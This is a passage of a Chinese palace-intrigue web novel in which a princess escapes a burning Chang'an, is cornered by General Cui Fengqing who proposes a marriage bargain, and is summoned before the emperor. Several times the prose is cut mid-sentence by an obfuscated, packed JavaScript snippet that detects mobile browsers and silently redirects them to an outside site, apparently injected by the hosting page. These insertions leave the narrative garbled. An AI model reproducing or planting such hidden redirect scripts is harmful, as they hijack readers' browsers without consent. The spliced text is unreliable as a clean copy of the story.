浮梦猛地抬起头!虽然脸上涂满黑灰,但那瞬间挺直的脊背和骤然抬高的下巴,竟自然而然地流露出一股久居上位的压迫气势!她刻意压低了嗓音,带着不容置疑的呵斥: “大胆!宫中的差事,也是你能打听的?!” 随着她微微侧身呵斥的动作,腰间一枚系在旧绳上的玉佩,不经意地从粗布衣襟下滑落出来。 那玉佩质地虽非顶级,但上面雕刻的游龙图案,张牙舞爪,惟妙惟肖,在火把的光线下泛着幽冷的光泽。 张直长的目光瞬间被那枚玉佩攫住!他瞳孔骤然收缩,脸色“唰”地一下变得惨白如纸!腿肚子一软,膝盖一弯,眼看就要跪下去。 “噤声!”春意眼疾手快,一把死死托住他的胳膊,力道大得惊人。 浮梦凑近张直长耳边,用只有两人能听到的气声,语速极快,字字如冰锥:“大人明鉴,此乃宫中辛秘,奉命行事!若泄露半点风声,惊动了不该惊动的人……” 她刻意停顿,目光如刀般刮过张直长瞬间布满冷汗的脸。 春意极其配合地抬起手,在浮梦话音落下的瞬间,用拇指在自己纤细的脖颈上,缓慢、清晰、充满威胁地做了一个抹过的动作!眼神冰冷彻骨! 张直长吓得魂飞魄散!眼珠子瞪得几乎要脱眶而出!他仿佛看到了自己甚至全家人头落地的惨状!哪里还敢再问半句?! “是……是是是!小人该死!小人什么都没看见!没看见!”他语无伦次,双手哆嗦着将那块烫手的腰牌塞回浮梦手里,如同送走瘟神。 浮梦面无表情地接过腰牌,用力拍了拍张直长僵硬的肩膀,一言不发,拉着春意,低着头,快步穿过了那洞开着的、象征着自由的城门。 一步,两步……双脚终于踏上了城门外坚硬冰冷的土地。 身后,是依旧火光冲天、浓烟弥漫的长安城,那座巨大的、吃人的黄金囚笼。 身前,是无边无际、深邃未知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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火焰在他冷硬的玄甲上跳跃,反射出幽冷的光泽。他仿佛一尊来自九幽的魔神,彻底堵死了她们刚刚以为逃出生天的前路。 5. 若臣说 浮梦看到崔逢青那张被跳跃火光照亮的、冷硬如石刻的脸庞从黑暗中浮现的瞬间,全身的血液仿佛瞬间冻结,又在下一秒疯狂倒涌回心脏,巨大的冲击让她眼前一黑,耳中嗡嗡作响,几乎站立不稳。寒意如同毒蛇,从脚底顺着脊椎瞬间窜上天灵盖。 他怎么在这里?他怎么会知道? 脑中如同被重锤猛击,一片混沌。但求生的本能驱使着她,在极致的惊骇中强行榨取出一丝清明。电光火石间,这一路逃亡的碎片在眼前飞速闪过—— 易竹异常及时的密信和崔府旁支的腰牌、张直长那过于顺利的放行、出城后这条看似自由实则被黑暗笼罩的路……一个个疑点如同散落的珠子,被崔逢青此刻的出现瞬间串成了一条冰冷的锁链。 猫鼠游戏—— 一个冰冷刺骨的词语在她心底炸开。她们自以为精妙的金蝉脱壳,从头到尾,都不过是在猎人眼皮底下演的一出戏。 暗中,她狠狠咬了一下自己的舌尖,尖锐的痛楚和血腥味让她濒临崩溃的神经猛地一绷,不能慌,绝对不能在他面前露怯! 强行压下几乎要破腔而出的心跳和四肢的冰冷僵硬,浮梦脸上迅速堆砌起那副她演练过千百遍的、玩世不恭的面具。她甚至刻意歪了歪头,语气带着一种夸张的、仿佛偶遇老友般的惊喜: “哟!正巧啊!想不到崔将军也有这等雅兴,大半夜的跑来这荒郊野外……赏月?” 说完,她还极其配合地仰起脸,望向那轮孤悬天际、散发着清冷光辉的明月,仿佛真的在认真品鉴,”该说不说,今晚这月色,啧,真亮啊!” 崔逢青嘴角那抹极淡的弧度似乎更深了一分,他顺势借着整理袖口的动作,将那一丝几乎要溢出的“欣然”掩去。 火光在他深邃的眼眸中跳动,映出浮梦强作镇定的身影。 还是这般模样……明明怕得要死,嘴上却比谁都硬气,倒真与幼时那个张牙舞爪护着他的小丫头一般无二。 只是这虚张声势的底气,如今听着,倒是更足了些。 他目光也随着她抬起,落在那轮皓月上。清辉如练,洒落人间,竟让他心口那处常年冰封的地方,泛起一丝陌生的、不合时宜的微烫。 然而,从他薄唇中吐出的字句,却冰冷得足以冻结这微弱的暖意,带着不容置疑的命令口吻: “臣久在边关,风沙看惯,倒未曾好好赏过长安的月。今夜偶遇公主,实乃天意。不知公主……可否屈尊,陪臣赏一赏这长安城外的——第一场月?” 这话若是换个翩翩公子,在花前月下对心仪女子说出,怕不是要成就一段才子佳人的风流韵事。 可此刻,在这荒郊野外,从这位刚刚在彩楼上当众给她难堪、此刻又如同鬼魅般堵住她去路的煞神将军口中说出,只让人觉得毛骨悚然,寒意刺骨! 自从崔逢青出现,春意两条细长的柳叶眉就死死拧成了一个疙瘩,心脏像是被一只无形的大手攥紧。 她死死盯着那个玄甲身影,心中翻江倒海:这人真是阴魂不散!彩楼下那惊心动魄的一幕还历历在目,怎么转眼就…… 等等!他卸下了白日里那身冷硬的战甲,只着一身玄色劲装,火把的光晕柔和了他过于锋利的轮廓,却衬得他整个人愈发深沉难测,如同夜色本身化成的精怪。 浮梦敏锐地察觉到身后春意那几乎要凝成实质的恐惧和紧绷。她不动声色地反手,轻轻拍了拍春意冰凉的手背,指尖传递着无声的安抚,幅度极小地摇了摇头——别怕,有我。 随即将春意往自己身后拉了拉,用身体将她半掩住。她重新扬起那抹无懈可击的、甚至带着点轻佻的笑意,对着崔逢青道: “哎呀,真不巧!本宫今夜是临时起意出来散心,没预备着待客。这荒山野岭的,招待不周,岂不怠慢了将军?不如下次?下次本宫做东,定让将军尽兴!” 她语速轻快,仿佛真的只是在婉拒一次不合时宜的邀约。说完,竟真就镇定自若地缓缓转过身,作势要拉着春意继续往前走。 脚步还未迈开,那道玄色的身影如同鬼魅般再次横移,精准地、彻底地堵死了她们面前唯一的路,动作快得只在火把光影中留下一道模糊的残影! 黑暗中,崔逢青似乎低笑了一声,那笑声极轻,却带着金属摩擦般的质感。 他修长的手指漫不经心地捻着腰间一枚温润的玉佩(浮梦眼尖地瞥见,那似乎也是玉质,但雕工远非她腰间那枚”游龙”可比),火把的光芒在他指尖跳跃。 他饶有兴致地、如同欣赏笼中困兽般,盯着熙仁公主每一个细微的表情和动作,那目光仿佛能穿透她精心构筑的伪装。 “若臣说……” 他刻意拖长了调子,每一个字都敲在浮梦紧绷的神经上, “臣今夜,只想与公主共赏此月呢?” 浮梦背对着他的身体几不可察地僵硬了一瞬。心底冷笑:图穷匕见,看来今夜,是无论如何也走不脱了。也好,既然躲不过,那就…… 她藏在袖中的手,极其隐蔽地探入怀中,触碰到那个冰冷坚硬的小瓷瓶。指尖传来的凉意让她混乱的心绪奇异地沉淀下来。 仰起头直直对上他的眼睛,脸上的笑容如同潮水般褪去,眼神瞬间变得锐利如刀,声音里再无半分之前的轻佻嘻笑,只剩下冰冷的、带着孤注一掷决绝的锋芒: “将军今夜兴致不错,只是这荒山冷月,既无丝竹管弦,亦无美人佳肴,未免太过清冷寡淡。依本宫看……” 她故意顿了顿,目光如同淬毒的针,直刺崔逢青深不见底的眼眸,一字一句清晰地吐出那个足以刺痛所有崔家人的禁忌之地, “不如‘旧故里’!那里红烛暖帐,莺歌燕舞,才配得上将军的身份!将军……不妨去试试?” “旧故里”——长安城最负盛名的销金窟,坊间秘传,当年崔家那位惊才绝艳的主母,正是因为家主迷恋“旧故里”,最终在深宅后院中受尽屈辱,郁郁而终。 崔家自此视所有秦楼楚馆为污秽之地,恨之入骨,而日日流连”旧故里”的熙仁公主,自然也是他们眼中最不堪的存在。 浮梦这一击,精准、狠辣,直戳崔逢青心底最深的伤疤。 果然,话音落下的瞬间,崔逢青周身那股无形的、压抑的气场骤然一凝,仿佛连空气都冻结了。 他脸上的线条瞬间绷紧如刀削斧凿,眼底深处翻涌起骇人的风暴,连他手中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093108|179669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那支熊熊燃烧的火把,火焰都仿佛被这股寒意压制,猛地向内一缩,光芒瞬间黯淡了几分,将他的半张脸隐入更深的阴影之中,只留下紧抿的薄唇和下颌冷硬的线条。 死寂,令人窒息的死寂,只有火把燃烧发出的微弱噼啪声,在寂静的荒野中格外清晰。春意吓得连呼吸都忘了,只觉得一股寒气从脚底板直冲天灵盖。 浮梦却像是毫无所觉,或者说,她正是要激怒他。 她迎着崔逢青那几乎要凝成实质的冰冷目光,嘴角甚至勾起一丝带着浓浓讽刺的弧度,继续往那未愈的伤口上撒盐: “哦?看来将军也觉得无趣?也是,将军运筹帷幄,算无遗策,这么一场精彩的游戏,看着本宫像只无头苍蝇一样在你掌心徒劳挣扎…… 想必,早就看腻了吧?不知将军今夜……玩得可还尽兴?!” 她终于撕破了所有伪装,将残酷的真相血淋淋地摊开在他面前,她怎么会这么天真?易竹能拿到崔府旁支的腰牌?贪生怕死的张直长恰好当值?从公主府起火到顺利出城,每一步都透着诡异的顺利…… 这一切,原来都在他的股掌之间,她精心准备的一切,不过是笼中雀在猎人注视下,上演的一场自以为是的“华丽表演”! 想清楚这一切,一股巨大的、夹杂着愤怒、屈辱和绝望的无力感如同潮水般瞬间淹没了浮梦。支撑着她的那口气,泄了。 她挺直的脊背似乎都微微佝偻了一瞬,眼神中充满了疲惫和冰冷的自嘲。 然而,出乎浮梦意料的是,预想中的雷霆之怒并未降临。崔逢青脸上那骇人的冰寒风暴竟在几息之间缓缓平息下去。他非但没有暴怒,反而……露出了一种近乎“欣赏”的神色。 那眼神,仿佛一个棋手终于看到了期待中的落子。火光重新跳跃在他眼中,映出一种奇异的、带着赞赏的光芒。 果然……聪慧如你,一点就透。 崔逢青心中低叹。他一直都知道她绝非表面那般草包。 今夜就算他不现身,她带着那块腰牌,也绝对出不了长安城下道道无形的关卡。皇室的眼睛,从未真正离开过她。他现身,是给她一个选择,一个……自由活下去的选择。 他不再多言,只是微微侧身,让开了被火光照亮的前路,对着浮梦做了一个简洁有力的手势:”公主,请吧。” 语气恢复了那种平静无波的冰冷,仿佛刚才那场差点点燃火药桶的对峙从未发生。 浮梦看着他让开的道路,又看了看他身后那无边无际的、不知通向何方的黑暗。 她深吸了一口气,那口泄掉的气似乎又被强行提了回来。她挺直了刚才微微佝偻的脊背,甚至带着点夸张地、旁若无人地拍了拍粗布衣裙上沾染的尘土草屑,仿佛要拍掉所有晦气。 然后,她重新拾起了那副天塌下来当被盖的“熙仁公主”面具,下巴微扬,眼神带着一种近乎挑衅的平静,竟真的拉着春意,一步一步,朝着崔逢青让开的方向,直直走了过去。 紧握在袖中的小瓷瓶,因为主人掌心不断渗出的冷汗而变得微微潮湿滑腻。 那里面装着的,是她最后保命的手段—— 一滴足以见血封喉的剧毒。 6. 臣帮你 一步, 两步, 三步…… 距离越来越近,近到能看清崔逢青玄色劲装上细微的纹理,能感受到他身上散发出的、混合着淡淡硝烟与冷铁气息的压迫感。 浮梦的眼角余光如同最警惕的猎鹰,死死锁定着崔逢青的脖颈——那里,在火把的光晕下,微微起伏的脉动清晰可见。 就是现在!她全身的肌肉瞬间绷紧,蓄势待发,握着瓷瓶的手指即将发力,准备以迅雷不及掩耳之势将毒粉扬出, 然而, 就在她力量即将爆发的电光火石之间! 崔逢青, 他竟然毫无预兆地、极其自然地转身了! 他像是忽然想起什么,又或者只是纯粹地调整方向,就那么随意地将整个毫无防备的后背,彻底暴露在了浮梦面前,也完美地避开了她蓄谋已久的攻击角度。 浮梦那已经微微抬起、凝聚了全身力气的手臂,硬生生僵在了半空,所有的力量如同打在了棉花上,憋得她胸口一阵发闷,差点呕出血来。 她只能眼睁睁看着那个宽阔而充满力量感的背影,不紧不慢地朝着黑暗深处走去。 “咕嘟……” 跟在浮梦身后,目睹了惊心动魄全过程的春意,被这峰回路转、充满戏剧性的一幕吓得心脏差点跳出喉咙,她控制不住地、极其响亮地咽了一口唾沫。 这声音在死寂的荒野中,如同惊雷般炸响,清晰得让人尴尬。空中仿佛有一群无形的乌鸦,拖着长长的省略号,嘎嘎飞过…… 春意的脸瞬间涨得通红,她死死捂住自己的嘴,恨不得找个地缝钻进去。她可是亲眼见识过公主手中那东西的威力——只需指甲盖那么一点,就能让一只活蹦乱跳的大公鸡顷刻间蹬腿毙命,刚才公主分明是要…… 崔逢青的脚步似乎因为这声突兀的吞咽,几不可察地顿了一下。 但很快又恢复了前行。他背对着她们,嘴角却勾起一抹极淡、极快的弧度。公主真好……对待旁人,总是留有余地。 若是换了那些死士刺客,方才他转身的瞬间,就是最好的、也是唯一的机会。她明明握有如此致命的武器,却犹豫了。 “咳。” 崔逢青清了清嗓子,打破了这诡异尴尬又暗藏杀机的沉默氛围。他的声音在黑暗中平稳地传来,仿佛在谈论一件再平常不过的生意: “臣想与公主做一笔交易。” 浮梦眼神一凛,强行压下心中的憋闷和惊疑,拉着仍在羞窘恐惧中的春意,默默跟在他身后几步之遥。 “今日之事,公主看得明白。公主想要的东西——无论是真正的自由,还是……” 他刻意停顿了一下,让未言明之意无声地弥漫在空气中,”……臣能帮你。” 他的声音不高,却带着一种奇异的穿透力和说服力。 “你我成婚之后,公主府依旧是公主府。公主想做什么,研习药理也好,经营铺子也罢,甚至继续去‘旧故里’听曲儿……只要不触及底线,臣概不过问。公主行事,毫无忌讳。” 他抛出了诱人的条件,也划下了模糊的界限。 说完,他便停下了脚步,背对着浮梦和春意,似乎在耐心地等待身后之人的回应。火把的光芒在他身前投下长长的、摇曳不定的影子。 浮梦盯着他那颗在黑暗中轮廓分明的后脑勺,那线条流畅得如同雕塑。啧,这头骨倒是生得完美…… 一个极其不合时宜的念头突然冒了出来。她赶紧甩甩头,差点被自己这荒谬的想法逗笑。都什么时候了! 她强迫自己冷静下来,心思流转。 交易?嫁给他?他到底想干什么?彩楼……她脑中灵光一闪,嘴角勾起一丝冷笑。她再次开口,声音恢复了那种带着点慵懒和戏谑的腔调,却精准地将皮球踢了回去: “将军这话说的,倒叫本宫糊涂了。今日神武门外,彩楼高筑,万民见证,那绣球可是不偏不倚,正正砸进了将军怀里。圣上金口玉言,许了这桩姻缘。怎么?将军今夜拦下本宫,是打算……抗旨不遵么?” 她故意咬重了“抗旨”二字,将皇室这张虎皮又扯了出来,面上却是一副天真懵懂、不解其意的模样。谁也没有捅破那层“被迫”的窗户纸。 崔逢青闻言,竟真的低低轻笑出声。那笑声在寂静的夜里显得格外清晰,带着一丝了然的玩味。 “殿下说得极是。臣怎敢抗旨?” 他转过身,火光照亮了他此刻平静无波的脸,仿佛刚才的剑拔弩张从未发生。 “是臣疏忽了。今日见公主府烦闷,特接公主出城散心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093109|179669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一时贪看这城外风光,竟忘了时辰。待回城时……” 他目光似乎遥遥望向长安城方向那尚未完全熄灭的火光余烬, “不巧,公主府竟遭了祝融之灾,烧得……片瓦不存。所幸公主无恙。既如此,只得委屈公主,先在臣安排的客栈暂住一宿了。” 一番话,将她们狼狈的逃亡、公主府的冲天大火、以及即将到来的“同处一室”,都轻描淡写地编织成了一个合情合理、甚至带着点浪漫色彩的“意外”。 他向前走了两步,又停下,微微侧首,留下最后一句,也是至关重要的一句警告。那声音不高,却如同冰冷的铁锥,狠狠凿在浮梦的心上: “公主是聪明人。当知这长安城里的棋局,执棋者从不止一人。今日没有我崔逢青接下那绣球,明日也会有张逢青、李逢青……或者别的什么人,被推到公主面前。公主想逃?” 他顿了顿,语气带着一种洞悉世事的冰冷残酷,“普天之下,莫非王土。公主又能逃到哪里去?成为一颗有用的棋子,总好过……。” 浮梦浑身一震,最后那句话,像一把冰冷的钥匙,彻底捅开了她心底那点残存的侥幸。 是啊,皇帝赐婚,岂是她能真正逃掉的?没有崔逢青,也会有别人,一个能被皇室完全掌控、用来监视她、甚至最终让她“合理消失”的驸马, 崔逢青……至少他强大、神秘,而且似乎……对她有所图?更重要的是,他许诺了“自由”和“毫无忌讳”。这或许,也是一条路。 她低头,看着自己紧握成拳、掌心被冰冷瓷瓶硌得生疼的手。 那点毒药,是她最后的底牌,也是她此刻唯一的依仗。 光脚的不怕穿鞋的!一股破釜沉舟的狠劲从心底涌起。 她倒要看看,这位声名赫赫的骠骑大将军,葫芦里究竟卖的什么药!若他真能助她达成所愿,合作一场又何妨?若他包藏祸心……她袖中的毒药,也绝不是摆设! 想通此节,浮梦一直紧绷的身体反而微微放松下来。她没有说话,只是拉着春意,默默地、一步不落地跟上了崔逢青的背影。 崔逢青听着身后那重新响起的、稳定而带着一丝决绝的脚步声,几不可察地挑了一下眉峰,深邃的眼眸中掠过一丝真正满意的光芒。 成了。 7. 性命攸关 长安卢宅,晨光微熹。 “公子!公子快醒醒!出大事了!” 月牙急促的敲门声惊醒了卢江枫。他昨夜辗转难眠,一闭眼就浮现出彩楼上熙仁公主那“含情脉脉”的眼神,吓得他冷汗涔涔。 记忆中那个会甜甜喊他“枫哥哥”的小女孩,何时变成了这般模样? “滚滚滚,”卢江枫烦躁地扯过锦被蒙住头,声音闷闷的,“天塌下来也别烦我!” 门外,月牙急得直跺脚。他左右张望,确认四下无人后,轻轻推开房门,蹑手蹑脚地走到床前,俯身在主人耳边低语: “公子,昨夜公主府走水了!火势冲天,公主至今下落不明!” “嗯?!” 卢江枫一个鲤鱼打挺从床上弹起,锦被滑落在地。他机械地转向月牙,睡意全无,声音却还带着几分沙哑:“你说什么?公主怎么了?” 月牙连忙给主子拍背顺气:“公子莫急,公主殿下吉人自有天相,定不会有事。” “公主府现在如何了?”卢江枫一把抓住月牙的袖子,指节因用力而发白。 “烧了个精光。”月牙叹气,“府中奴仆也不见了大半,有人说……”他欲言又止。 “说什么?” “说公主怕是……”月牙低下头去,不敢多言。 卢江枫双手失力,软绵绵地垂在床边,眼神空洞:“这就没了?……” 屋内陷入死寂。良久,月牙才想起什么,小心翼翼道:“对了,昨日宫里赏了两根百年人参,说是公子受惊了,给公子压压惊。” “呵!”卢江枫听完直翻白眼,“又是那位吧?先前将我母亲哄得团团转,这下计划落空着急了吧?活该!” 卢家虽为世家,却已日渐式微。皇室一直想通过联姻拉拢世家,他这个卢家幼子成了不二人选。可惜这如意算盘再响,也敌不过皇帝金口玉言——谁能想到绣球会落到崔逢青手里? 与此同时,皇宫椒房殿内,一声脆响划破清晨的宁静。 “啪嚓——” 精致的越窑青瓷茶盏在地上摔得粉碎,滚烫的茶水溅了一地。 “你说那贱丫头还活着?!” 皇后凤目圆睁,保养得宜的面容因愤怒而扭曲。福泉一干人等吓得“扑通”跪地,额头紧贴冰凉的金砖,大气不敢出。虽然椒房殿日常如此,但谁也不敢在这时候触霉头。 大丫鬟红素使了个眼色,众人如蒙大赦,连滚带爬地退了出去。 “不过是运气好。”红素轻抚皇后后背,声音柔缓,“娘娘不必如此劳神,公主成婚之后,有的是机会。” 皇后深吸一口气,指尖无意识地摩挲着鬓角金凤步摇。片刻后,她已恢复那副母仪天下的端庄模样:“此事不可声张。去请皇上过来用膳,若皇上推辞,就说本宫有要事相商。” 红素见主子情绪平稳,这才福身退下。转身的刹那,她眼中闪过一丝复杂——皇后娘娘这些年,越发喜怒无常了。 殿门合拢,皇后独自站在窗前,望着朝阳初升。恍惚间,她想起与皇帝大婚那年的光景。那时他们也曾并肩而立,迎着朝阳缓缓前行。她天真地以为,只要皇帝心中有她,这偌大的后宫便困不住他们。 可惜好景不长。姬瑶的出现,彻底粉碎了她的美梦。 那个贱人!皇后指甲深深掐入掌心。姬瑶不愿入宫,皇帝便为她打造“金楼”,下令任何人不得打扰。直到生下浮梦那贱丫头,姬瑶的身子一日不如一日,最终玉殒香消…… “若是没有姬瑶......”皇后喃喃自语,随即自嘲地摇头。这深宫之中,哪有什么如果? 御书房内,皇帝站在窗前,手中摩挲着一块陈旧的玉佩。玉质普通,雕工粗糙,边缘已被岁月磨得圆润。系着玉佩的红绳早已褪色,边缘甚至起了毛边,却仍被珍而重之地系在腰间。 红素求见时,正看到皇帝对着玉佩出神。她刚要开口,皇帝却抬手制止: “今日是二十七,莫要来烦朕。” 红素心头一跳——她竟忘了这日子,每年今日,熙仁公主都会入宫请安。今年公主府遭此变故,不知…… 她不敢多言,轻手轻脚地退了出去。今日,谁都不敢触皇帝的眉头,皇后亲临亦如是。 “瑶儿……”皇帝对着玉佩低语,指腹轻轻抚过玉面上模糊的纹路, “熙仁这场婚事,你可满意?崔家乃世家之首,崔逢青更是人中翘楚。有他护着熙仁,你也能安心了吧。” 空荡荡的殿内无人应答。若是姬瑶在世,怕是要一巴掌扇过来,大骂一声“恬不知耻”——这一切祸端,不正是皇帝亲手种下的吗? 皇帝却恍若未觉,继续自言自语:“婚事定在桂月初六,不是着急将浮梦嫁出去,迟则生变,况且朕找人算过,是个好日子......与当年一样的好日子。” 他嘴角浮现一丝恍惚的笑意,仿佛完全忘了十五年前是如何将姬瑶强掳入京的。时间,仿佛能美化一切罪恶。 御书房安静的气氛被德全公公一声求见碾碎,依稀听得到手指划过凹凸玉佩的簌簌声响。 德全知晓皇上禁忌,可昨夜的吩咐不得不做,只盼着皇上不会对此事大发雷霆, “噗通”一声隔得远远地跪在地上,“皇上,奴才有要事禀报!” 皇上眉眼间透露出不耐烦,以为又是皇后的事情。 察觉到皇上要发火,一口气将事情全都抖搂出来, “启禀皇上,昨夜公主刚出城门,就被骠骑大将军遇上了,这不后续……” 德全声音拉长,悄悄抬头观察皇上情绪,眼见着似乎没那么生气了,继续往下说, “后来骠骑将军便将公主送到了客栈,可后来一整夜都没有回崔府。” 皇上摩梭玉佩的手一顿,双目聚焦回神, “既如此,让二人速速入宫觐见。” 说完又继续盯着窗外,眼神渐渐没了目标,双手向后轻轻扣住,粗制玉佩缓缓垂落,回到原本属于它的地方。 德全不敢多言,躬着身退了出去,直到远离御书房,才挺直身子,深呼一口气,这才活了过来。 当年那位姬夫人在二十七日夜,从金楼一跃而下,皇帝赶到时,只剩下满地的血迹,无人敢上前一步,熙仁公主就在楼下亲眼看着姬夫人坠楼,听说还是姬夫人亲自带这熙仁公主上的高楼,那时候公主还没有封号。 回头看了看御书房,转身往宫外走去,十年过去,宫中的人换了一批又一批,到现在还知晓姬夫人一事少之又少,加上皇上如此娇宠熙仁公主,除了不让她出长安,基本上有求必应,大概没人会联想到往日旧事。 皇宫还是老样子,甚至比皇上登基时还要恢弘。 德全低低叹了口气,也不知是为了姬夫人,抑或是其他人。 长安城西,最富盛名的“不停客栈”。 浮梦站在窗前,望着远处尚未散尽的青烟——那是她曾经的“家”。她嘴角勾起一抹冷笑,指尖无意识地摩挲着袖中暗藏的瓷瓶。 身后,崔逢青的声音突然响起:“公主在看什么?” 昨夜他并未走远,在邻近的客房住下。 浮梦没有回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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春意听罢,顾不得怒视崔逢青,略带慌乱地翻找行李,公主有旧疾,发作起来痛不欲生,也不知昨夜匆忙离开,有没有将皇上每月派人特调的药带上。 “春意,药……”公主在里间声音渐弱。 春意急得额头冒出细密汗珠,将两个单薄的行李翻来覆去找了好几遍,就是没有找到那个黄色的瓷瓶。 直到听到公主说,“今日二十七……”,双手顿住不在翻找,低声唾骂了一句,几步走到公主跟前,将她扶到床边坐下。 “本宫好多了,别找了,那药早就用完了。”浮梦极力调整呼吸,皇帝早已将她拿捏在手中,火烧公主府就像是孩童间的过家家,烧完就完了,什么也没留下,甚至都不在意公主府被烧成什么样。 “春意,你说我是真的公主吗……”浮梦斜靠着春意,已经有些神志不清地嘟囔道。 宫里来的德全早就心急如焚,皇上要见人,要得急,可崔将军像尊杀神一样守在门外,他至今没有见过公主,虽说传回来的消息说是无碍, “崔将军,您看这时候不早了,皇上还等着杂家回去复命呢,您看着……” 崔逢青正竖起耳朵仔细听着屋里动静,哪知有人不识趣,回过头来,睨了德全一眼,一言不发,继续全神贯注听响动。 德全被看得一冷,低下头退远了些,让人提前回去复命。 “怎么?你不走?” 崔逢青突然发话,德全陪笑道“走,奴才这就走,奴才在承天门恭候熙仁公主和骠骑大将军。” 德全一走,房里房外都安静下来,一直守在客栈附近的一干人等也消失不见。 亲信上前来低声禀报道,“将军,人撤了,客栈外有位先生求见熙仁公主,说是性命攸关。” 8. 陛下圣恩 承天门外。 德全公公揣着手,望了望天色。他原想着熙仁公主与那位煞神将军,在客栈少不得要磨蹭一番,怎么也得耗上一个时辰。 正好够他去值房,偷偷享用一壶私藏的顾渚紫笋。这茶可是贡品中的极品,芽叶细嫩,色紫形如笋,汤色清亮,香气清高持久,滋味鲜醇甘爽。 德全深谙茶道,常言道:“一碗喉吻润,两碗破孤闷。” 他正盼着这两碗茶下肚,驱散这七月流火带来的烦闷。 谁承想,他刚把茶泡好,氤氲的热气裹挟着清雅茶香袅袅升起,就有小太监气喘吁吁地跑来禀报:公主和将军的车驾,离承天门已不足一刻路程。 “哎哟喂!”德全看着那刚注入沸水、茶叶正徐徐舒展的青瓷茶壶,心疼得直抽抽,“作孽啊!真是暴殄天物!” 他回头恋恋不舍地望了一眼,终究是舍不得这好茶白白泡废。一咬牙,飞快地倒出一杯。 滚烫的茶汤在杯中蒸腾着热气,与酷热的七月天气倒是“相得益彰”,烫得根本无法入口。 德全也顾不得了,吹了又吹,硬是龇牙咧嘴地灌了小半杯下去,烫得舌头都麻了,才匆匆整理衣冠,小跑着往承天门赶去。 待他赶到时,熙仁公主的车驾已然停稳。崔逢青率先下车,一身玄色常服,衬得身姿挺拔如松,只是脸色冷峻依旧。他并未立刻前行,而是侧身,目光锐利地扫视着随后下车的浮梦。 浮梦今日换了一身素净的宫装,脸上薄施脂粉,却掩不住眼底的倦色和一丝不易察觉的苍白。她凝眸直视前方巍峨的宫门,对崔逢青探究的目光恍若未觉。 方才在客栈,那位“文先生”匆匆送来的东西——一封信和一个小瓷瓶——此刻正贴身藏着。信中内容疑窦丛生,真假难辨,却像投入死水的一块巨石。此次进宫,或许……是个机会? 眼见德全小跑着迎上来,浮梦迅速调整表情,声音带着恰到好处的慵懒和一丝不耐烦,对着几步之外的崔逢青扬声道: “崔将军若是再这般慢悠悠的,怕是赶得上留在宫里用午膳了。” 果然,此话一出,崔逢青那张本就冷峻的脸,瞬间如同敷了一层厚厚的锅底灰。 他抿紧薄唇,眼神凌厉地扫了浮梦一眼,不再多言,大步流星地越过她,径直朝宫门内走去,三两下便拉开了距离。 德全听得真切,心里门清,只管躬身垂首,眼观鼻鼻观心,不敢多看多说。 浮梦目的达成,唇角微不可察地弯了一下,眼神示意春意跟上,自己则不紧不慢地缀在崔逢青身后,保持着不远不近的距离。 春意会意,故意落后几步,凑到德全身侧,压低声音,脸上堆起讨好的笑: “德公公辛苦。不知皇上此次急召公主殿下和崔将军入宫,所为何事呀?”说话间,她飞快地将一沓轻薄却价值不菲的“飞钱”塞向德全袖中——昨夜出逃匆忙,带的现银本就不多,客栈打点已所剩无几。 至于指望崔将军付钱?春意心里翻个白眼,想都别想,不熟。 德全却像是袖口长了眼睛,手腕一翻,不着痕迹地便将那沓飞钱挡了回去。若是平日,不是什么紧要事,他也就顺水推舟卖个人情了。 可今日,他心心念念的上好顾渚紫笋,刚泡开就被迫丢下,简直是剜心之痛!此刻看着那飞钱,只觉更加烦躁。 “春意姑娘说笑了,”德全皮笑肉不笑,声音带着惯有的尖细腔调, “圣心难测,老奴一个伺候人的奴才,哪敢揣度皇上的意思?这‘揣测圣意’的罪名,姑娘可别胡乱扣在杂家头上,杂家担待不起哟。” 说罢,手中拂尘一甩,扭身便快步追向前面的队伍,不再给春意开口的机会。 春意看着德全的背影,气得暗自咬牙。 这老狐狸!往日送他些好茶叶时可不是这副嘴脸!她无奈,只得加快脚步追上浮梦,趁无人注意时,飞快地朝公主摇了摇头,眼神示意:德全这条路,堵死了。 浮梦心头那丝不安感再次蔓延开来。皇帝监视了她这么多年,从未真正撕破脸皮,今日有崔逢青这个“未来驸马”在场,至少性命应是无虞。 只是……文先生信中提及的旧事,真伪难辨。这么多年隐忍不发,为何偏偏在彩楼招亲尘埃落定后才冒险联系?老师的举动,越发令人捉摸不透了…… 从承天门到御书房的路程不长,却也不允许她继续深想。宫墙高耸,琉璃瓦在烈日下反射着刺目的光,压抑得让人喘不过气。 御书房外,德全已恭候在阶前。他深吸一口气,控制着声调,不高不低,平稳清晰地通传:“启禀皇上,熙仁公主和骠骑大将军崔逢青已到,正在殿外候旨。” 